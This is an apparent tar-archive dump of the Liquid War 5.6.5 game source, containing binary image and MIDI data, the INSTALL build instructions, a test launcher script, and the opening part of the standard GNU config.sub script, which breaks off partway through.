Iz$E"'7"xG\'*3E>Bjzz*٭6622 %uE'R\$$'*g*8E**7&3*Ez Q1q3Cc$7#%"%***'*$L32:S2"%P*g7gx'*g*'%AS'"z?1zC\7'x''''''*$"Sz3%'<>9**/<38C***7Y%''*'*$$"3XY%2TT'*W,Q 7\77*N7Ij'g*''$$**HHF:Q:H 6''Wj:#***7'**'%''*$"$*\g*HG:::N$%%' u:"mW 7g\\g*W***"*\HFH\m<82W6%$':2mPUH#^#N*''u6x*\x"$\7#xxY<eWj>#NRGDHR\kc %>,V9633ZV_^^kN7\MMG'Nj:u_G\RRGGYgM/j-Ҫ<^^kRRgGDGJ77BZOw>rNFY*\#\\GHNDer,R"wj7\NNN77RT7RNE E#qqqJ/QEW>tNkR*HH]AFT%VB DdJZ^kNRG\\GH\c'7*>XWGFHHR7gR#^#siI(R\B >W7UHN\RDDN\PdHjtHFN\G77NVVVDvJGcGDev>E7NDDR\N_FN#G*JG4p?jTNH%D*NN^#7Uj~{&RWr>kHTggDFTH;<WaGI7NFGgFVFR)XJNE1seRVHHg*^kgNN~7ivXRѝW XYNHHU|s WX{v`etgejlHJY7NHYnesR:kEJ`tJ\rHNBE,܆MJ"G#jw7~Z77NUYeNMMJcBjtAi&gMgM 0dR7Qqov;)>PteGFUIN j##^#OW((YXER2smmwWgcRd;v~ir\7Y0igG*7<:>tjk#RNqWI\[~J7g(kG\cWNYBG< NM_HGJYq#c>w##1I>(DGFDGa-B D:WkkPN\RDFXJktm^jX*(WڍsHHc;))#^wIwiq1DGFDXvc> OWZ BRFF'ڝE`(w\\DGgv_YwW(HmZ77mWGEBqT}FB>>k{JGGgjN\H}T1ac}UR:jcRtD-RW>wBB%m(N'Y:*tPR\7EIXDR6e{gjrj*W> &Y>nx'ZrVVHk(PV@ Ue0N<E%$\gW 7O>><%J6ĩZj>DU>WqtIPHtWTn@5jI>jN>j>wjiX1V%GNWE%qDg@~A>wBE>nmNҜ,jm~eeqNNU(q1Wj"Yk>>m(jkUz ,T(>R j\EjWDmU5PWI'QWYqWj1Q7'"<OjB ػ*I:FeY֫%:2$*:x(mw\{C<*!3MB>jW%2m7$^WcW(wWmm<:Du' WW9[3(YPW(<$3\I>C-^>Eg ,Em<\*%ߵ'Bjj<S PI|%g*پ57Zj-BIjEE<7jE<*6B(j>\C3BIq3:E:* rW>2qjQg'*>Z>r$Z7I<1u>CI:y6Q>jI>-%*'g qOEwIPI:mm:2'P>jIIj*''*wCi*w(:>'*߬QQ%WI((<>EW(*'<:->3jC%Qj#BjEmQWWEZIjC&''**7$wBw>'*%'r(PI<E**''**&w wEmE:qIx''*mI\Wz"* *'ڝIjIjWr<':j'u:Ij>IS -***6ux:(IEzҪـ'WPI&$$uu6u''2>**EEZ8"y6x:WWrm<(u&%'"*>Ij*$ErgS"5x%%P:J!(:\$$$%%x*''5j$(rg\-$-x22"x''u6 ''e$$Q%6**G"[7w*M7$uz3A~S<g7*$$6%xx*~I\-g$"$\x%qq(̶2P(B7'$%AʓN*\$xxݎ4@yx%6uY*6xb03Nk-$uqI`b2@**Y%I%v0DG! UY*%'QW'NQ$UHg*Iux:>K}HHz3%Y*N"$*%-WbGF: ['mF$77HYTqW$PW$$3Eg_u'H7Um*g"D%j<6KNQ||<*Gjj<$\7UUHNNTNRGDDRNB$(uFHY7RJf5z3"RNVH**k%YN*DFHHr|C9gN%%en|>R`d(>--HH*Hg7NH%HHHGGRRVT7wj: GHNN7cRjZ\RFU7\DNIIN\cj(>gj>k\HRVVTTDM7NRRMMRNw(rFGG##kNFH\`w7kjBZ\\UYRR#WTHjI"DJgkggkgEW~ Ztgj>\gUFYg7fXN`@dNW^7G*kذi\EJr- vjIYd_V}FUHHHN\G YEWWskN\YYk`H>WwZjZWsH}FHk7BjY>=fPPYWI7FHgG>qk `Ne((PjE_d_DUN7HTYBWY~%q>k#7Y}IqkBR7\<>jIEPjFUT*FYkNAM(IF,/0WEEkHWIY(DHNNTTKmZEM~~tE>HJHq(d0JEeYU7 Xj(RYt(WZRHHF}TIWevG<W(~*Rj NNNmEBY~=WZP<HF}}HU,jBfEkI<1,]0E(H*7Y<<qel4NN6TkIYI7h=iE<7U CGWjgXJA̍|WtW>GGjNkYW>M`GO>jGJҎRPNNB:W>E0vj E (R7ken >>7^8{ҰT,]UYmZrRMIjGX`PZ\Y<jw WIYA{JEI(FH<wI>Ww>HNN:'$Ej7X cd,}nmmXRq(qWI(RrWqEWNI>^I(W+n0JYtrkjZRk&7E>NNgNH'gC&g\rEE>kH,ۛ}}F44GWjIP`E>{f7E`GNH05òBwBBZùWP_~~hCzv<BMzBEE*':{{`JOciBw(X  YUW+VFK6%K~hDIwWAWT%6%T_bhfr>Zi(Gg(<(G<*"{v R >`PFliquidwar-5.6.5/custom/music/0000775000372000037200000000000013407756104015573 5ustar travistravisliquidwar-5.6.5/custom/music/colossus.mid0000664000372000037200000000677013407756104020152 0ustar travistravisMThdxMTrkJX YQ '8XQN`Q%`X LQ[4Q[/MTrkK!x]d]EdELdLLdLLdLMdMOdOQdZQ9d9d->-dEd@dd>d>@d@Ad4A@d<@@d4@d<>;d<;7d<7Cd>d<>;d<;7d<7;d<;>d<>Cd4CEdEAdAAdd<><7d<75d<5+dh+7dh74dh4$d$$d$$d$$d$$dx+d<+$XdhXTdhTOd4d4Z&d&&d&&d&&d&&d&&d&4d4Z&d&&d&&d&&d&&d&&d&5d$d$5(d(&d&(d(&d&(d(4d$d$4(d(&d&(d(&d&(d(5d$d$5(d(&d&(d(&d&(d((d4d((d(4(d((d(&d&&d&&d&&d&(d((d((d((d($d.d<.$&d<&$d<$4d$d<$4(d((d((d((d(4d$d<$4&d<&&d<&$d.d<.$(d((d((d((d($d7d<7$(d<(-d)d)--d)d)-7d&d&7(d((d(&d)d)&$d$$d$$d$$d$$d$$d$-d)dd#d2d9d9)-2#$d4d<4$(d((d((d((d((d(4d$d$4&d<&&d<&0d(d(0/d/-d-+d+/d/-d-+d+)d)$d-d-$+d+)d))d)0d(d(0/d/-d-+d+/d/-d-+d+)d)$d-d-$+d+)d))d)$d5d<5$(d<((d((d((d(0d$ddd(d5d;d<;($05/liquidwar-5.6.5/INSTALL0000664000372000037200000000703213407756104014174 0ustar travistravisThis file describes how to install Liquid War on a UNIX-like system. To compile and install Liquid War under GNU/Linux, you need: - gcc, make, etc. (*) : http://www.gnu.org/ - Python (**) : http://www.python.org/ - LaTeX (optional) : http://www.latex-project.org/ - dvips (optional) : http://www.radicaleye.com/dvips.html - PDFLaTeX (optional) : http://www.tug.org/applications/pdftex/ - makeinfo (optional) : http://www.gnu.org/software/texinfo/texinfo.html - Allegro (***) : http://www.talula.demon.co.uk/allegro/ (*) You need to have GNU Make installed. Others flavors of the make utility might simply not work at all when compiling LW. (**) Python is required to build the docs. You can decide not to build the docs so to some extent it's optional. However, if Python is installed, you'll need the "re", "string" and "xmllib" modules. They come with the standard distribution of Python 1.5 and 2.1, so it should not be a big problem. (***) You won't be able to build Liquid War if you installed only the end-user version of Allegro. The full Allegro development package is required, since it includes the datafile compiler "dat". FYI, the complete package weights about 2000Kb whereas the end-user version - which won't allow you to build LW - is only about 500Kb. Once you have all this installed, type: $ autoconf $ ./configure $ make # make install (run as root or any user who can write in /usr/local) $ liquidwar By default: /usr/local/bin contains symbolic links to the binaries /usr/local/games contains the binaries /usr/local/share/games contains the data /usr/local/share/doc contains the documentaion /usr/local/share/pixmaps contains an icon for Gnome/KDE/WMaker/etc... /usr/local/share/man/man6 contains the man page /usr/local/share/info contains the info page The ./configure script accepts options, the most usefull being IMHO: --prefix=/my/path : changes the default install directory --disable-doc-xxx : turns off the generation of doc in format 'xxx' --enable-static : enables static linking --disable-target-opt : turns off optimizations such as "-march=i686" Since release 5.3.3, binaries of Liquid War for GNU/Linux are available. These binaries are statically linked against Allegro and glibc, so they should run on any recent GNU/Linux box that has an X server running. So if you spend too much time compiling LW, please consider using one of those binaries, since they should work right away. They are "slackware-like" packages, to install them, simply type (as root): tar xzfP liquidwar-5.x.x.i386-pc-linux-gnu.tgz Liquid War can theorically be build on any platform supported by Allegro. In practice you might still encounter some problems: - source code contains a bunch of "#ifdef UNIX" and the likes, which might cause errors on untested platforms. - the Makefiles require GNU Make; for instance the standard make command which comes with FreeBSD won't work, you'll need to install gmake. - the code is designed for "little-endian" processors. Therefore you will probably not be able to run it on "big-endian" (MAC, Sparc,...) CPUs. Most LW ports - including Linux and FreeBSD - have been done by contributors. So if you've successfully - or even if you've tried to - build and run LW on a new platform, please contact me, I'm interested 8-) If you have problems compiling, installing or running Liquid War, you can get help and informations on the Liquid War user mailing list: http://mail.nongnu.org/mailman/listinfo/liquidwar-user liquidwar-5.6.5/test.sh0000775000372000037200000000040513407756104014456 0ustar travistravis#!/bin/sh # # Script which launches Liquid War using files in the source/build tree # instead of system wide files, very convenient for testing. ./src/liquidwar \ -dat ./data/liquidwar.dat \ -map ./custom/map \ -tex ./custom/texture \ -mid ./custom/music liquidwar-5.6.5/config.sub0000775000372000037200000010460613407756104015133 0ustar travistravis#! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, # 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, # 2011 Free Software Foundation, Inc. timestamp='2011-03-23' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software # can handle that machine. It does not imply ALL GNU software can. # # This file is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA # 02110-1301, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Please send patches to . Submit a context # diff and a properly formatted GNU ChangeLog entry. # # Configuration subroutine to validate and canonicalize a configuration type. # Supply the specified configuration type as an argument. # If it is invalid, we print an error message on stderr and exit with code 1. # Otherwise, we print the canonical config type on stdout and succeed. # You can get the latest version of this script from: # http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD # This file is supposed to be the same for all GNU packages # and recognize all the CPU types, system types and aliases # that are meaningful with *any* GNU software. # Each package is responsible for reporting which valid configurations # it does not support. The user should be able to distinguish # a failure to support a valid configuration from a meaningless # configuration. # The goal of this file is to map all the various variations of a given # machine specification into a single specification in the form: # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM # or in some cases, the newer four-part form: # CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM # It is wrong to echo any other type of specification. me=`echo "$0" | sed -e 's,.*/,,'` usage="\ Usage: $0 [OPTION] CPU-MFR-OPSYS $0 [OPTION] ALIAS Canonicalize a configuration name. Operation modes: -h, --help print this help, then exit -t, --time-stamp print date of last modification, then exit -v, --version print version number, then exit Report bugs and patches to ." version="\ GNU config.sub ($timestamp) Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." help=" Try \`$me --help' for more information." # Parse command line while test $# -gt 0 ; do case $1 in --time-stamp | --time* | -t ) echo "$timestamp" ; exit ;; --version | -v ) echo "$version" ; exit ;; --help | --h* | -h ) echo "$usage"; exit ;; -- ) # Stop option processing shift; break ;; - ) # Use stdin as input. break ;; -* ) echo "$me: invalid option $1$help" exit 1 ;; *local*) # First pass through any local machine types. echo $1 exit ;; * ) break ;; esac done case $# in 0) echo "$me: missing argument$help" >&2 exit 1;; 1) ;; *) echo "$me: too many arguments$help" >&2 exit 1;; esac # Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). # Here we must recognize all the valid KERNEL-OS combinations. maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` case $maybe_os in nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \ linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \ knetbsd*-gnu* | netbsd*-gnu* | \ kopensolaris*-gnu* | \ storm-chaos* | os2-emx* | rtmk-nova*) os=-$maybe_os basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` ;; *) basic_machine=`echo $1 | sed 's/-[^-]*$//'` if [ $basic_machine != $1 ] then os=`echo $1 | sed 's/.*-/-/'` else os=; fi ;; esac ### Let's recognize common machines as not being operating systems so ### that things like config.sub decstation-3100 work. We also ### recognize some manufacturers as not being operating systems, so we ### can provide default operating systems below. case $os in -sun*os*) # Prevent following clause from handling this invalid input. ;; -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ -apple | -axis | -knuth | -cray | -microblaze) os= basic_machine=$1 ;; -bluegene*) os=-cnk ;; -sim | -cisco | -oki | -wec | -winbond) os= basic_machine=$1 ;; -scout) ;; -wrs) os=-vxworks basic_machine=$1 ;; -chorusos*) os=-chorusos basic_machine=$1 ;; -chorusrdb) os=-chorusrdb basic_machine=$1 ;; -hiux*) os=-hiuxwe2 ;; -sco6) os=-sco5v6 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5) os=-sco3.2v5 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco4) os=-sco3.2v4 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2.[4-9]*) os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco3.2v[4-9]*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco5v6*) # Don't forget version if it is 3.2v4 or newer. basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -sco*) os=-sco3.2v2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -udk*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -isc) os=-isc2.2 basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -clix*) basic_machine=clipper-intergraph ;; -isc*) basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` ;; -lynx*) os=-lynxos ;; -ptx*) basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` ;; -windowsnt*) os=`echo $os | sed -e 's/windowsnt/winnt/'` ;; -psos*) os=-psos ;; -mint | -mint[0-9]*) basic_machine=m68k-atari os=-mint ;; esac # Decode aliases for certain CPU-COMPANY combinations. case $basic_machine in # Recognize the basic CPU types without company name. # Some are omitted here because they have special meanings below. 1750a | 580 \ | a29k \ | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \ | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fido | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ | lm32 \ | m32c | m32r | m32rle | m68000 | m68k | m88k \ | maxq | mb | microblaze | mcore | mep | metag \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ | mips64octeon | mips64octeonel \ | mips64orion | mips64orionel \ | mips64r5900 | mips64r5900el \ | mips64vr | mips64vrel \ | mips64vr4100 | mips64vr4100el \ | mips64vr4300 | mips64vr4300el \ | mips64vr5000 | mips64vr5000el \ | mips64vr5900 | mips64vr5900el \ | mipsisa32 | mipsisa32el \ | mipsisa32r2 | mipsisa32r2el \ | mipsisa64 | mipsisa64el \ | mipsisa64r2 | mipsisa64r2el \ | mipsisa64sb1 | mipsisa64sb1el \ | mipsisa64sr71k | mipsisa64sr71kel \ | mipstx39 | mipstx39el \ | mn10200 | mn10300 \ | moxie \ | mt \ | msp430 \ | nds32 | nds32le | nds32be \ | nios | nios2 \ | ns16k | ns32k \ | open8 \ | or32 \ | pdp10 | pdp11 | pj | pjl \ | powerpc | powerpc64 | powerpc64le | powerpcle \ | pyramid \ | rx \ | score \ | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \ | sparcv8 | sparcv9 | sparcv9b | sparcv9v \ | spu \ | tahoe | tic4x | tic54x | tic55x | tic6x | tic80 | tron \ | ubicom32 \ | v850 | v850e \ | we32k \ | x86 | xc16x | xstormy16 | xtensa \ | z8k | z80) basic_machine=$basic_machine-unknown ;; c54x) basic_machine=tic54x-unknown ;; c55x) basic_machine=tic55x-unknown ;; c6x) basic_machine=tic6x-unknown ;; m6811 | m68hc11 | m6812 | m68hc12 | picochip) # Motorola 68HC11/12. basic_machine=$basic_machine-unknown os=-none ;; m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) ;; ms1) basic_machine=mt-unknown ;; strongarm | thumb | xscale) basic_machine=arm-unknown ;; xscaleeb) basic_machine=armeb-unknown ;; xscaleel) basic_machine=armel-unknown ;; # We use `pc' rather than `unknown' # because (1) that's what they normally are, and # (2) the word "unknown" tends to confuse beginning users. i*86 | x86_64) basic_machine=$basic_machine-pc ;; # Object if more than one company name word. *-*-*) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; # Recognize the basic CPU types with company name. 580-* \ | a29k-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* | avr32-* \ | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | lm32-* \ | m32c-* | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | maxq-* | mcore-* | metag-* | microblaze-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64octeon-* | mips64octeonel-* \ | mips64orion-* | mips64orionel-* \ | mips64r5900-* | mips64r5900el-* \ | mips64vr-* | mips64vrel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mips64vr5900-* | mips64vr5900el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | mt-* \ | msp430-* \ | nds32-* | nds32le-* | nds32be-* \ | nios-* | nios2-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | open8-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* \ | pyramid-* \ | romp-* | rs6000-* | rx-* \ | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | sv1-* | sx?-* \ | tahoe-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tile-* | tilegx-* \ | tron-* \ | ubicom32-* \ | v850-* | v850e-* | vax-* \ | we32k-* \ | x86-* | x86_64-* | xc16x-* | xps100-* \ | xstormy16-* | xtensa*-* \ | ymp-* \ | z8k-* | z80-*) ;; # Recognize the basic CPU types without company name, with glob match. xtensa*) basic_machine=$basic_machine-unknown ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aros) basic_machine=i386-pc os=-aros ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; blackfin) basic_machine=bfin-unknown os=-linux ;; blackfin-*) basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; bluegene*) basic_machine=powerpc-ibm os=-cnk ;; c54x-*) basic_machine=tic54x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c55x-*) basic_machine=tic55x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c6x-*) basic_machine=tic6x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c90) basic_machine=c90-cray os=-unicos ;; cegcc) basic_machine=arm-unknown os=-cegcc ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16 | cr16-*) basic_machine=cr16-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dicos) basic_machine=i686-pc os=-dicos ;; djgpp) basic_machine=i586-pc os=-msdosdjgpp ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; # I'm not sure what "Sysv32" means. Should this be sysv3.2? i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m68knommu) basic_machine=m68k-unknown os=-linux ;; m68knommu-*) basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; microblaze) basic_machine=microblaze-xilinx ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; mingw32ce) basic_machine=arm-unknown os=-mingw32ce ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; ms1-*) basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'` ;; mvs) basic_machine=i370-ibm os=-mvs ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; neo-tandem) basic_machine=neo-tandem ;; nse-tandem) basic_machine=nse-tandem ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; openrisc | openrisc-*) basic_machine=or32-unknown ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) 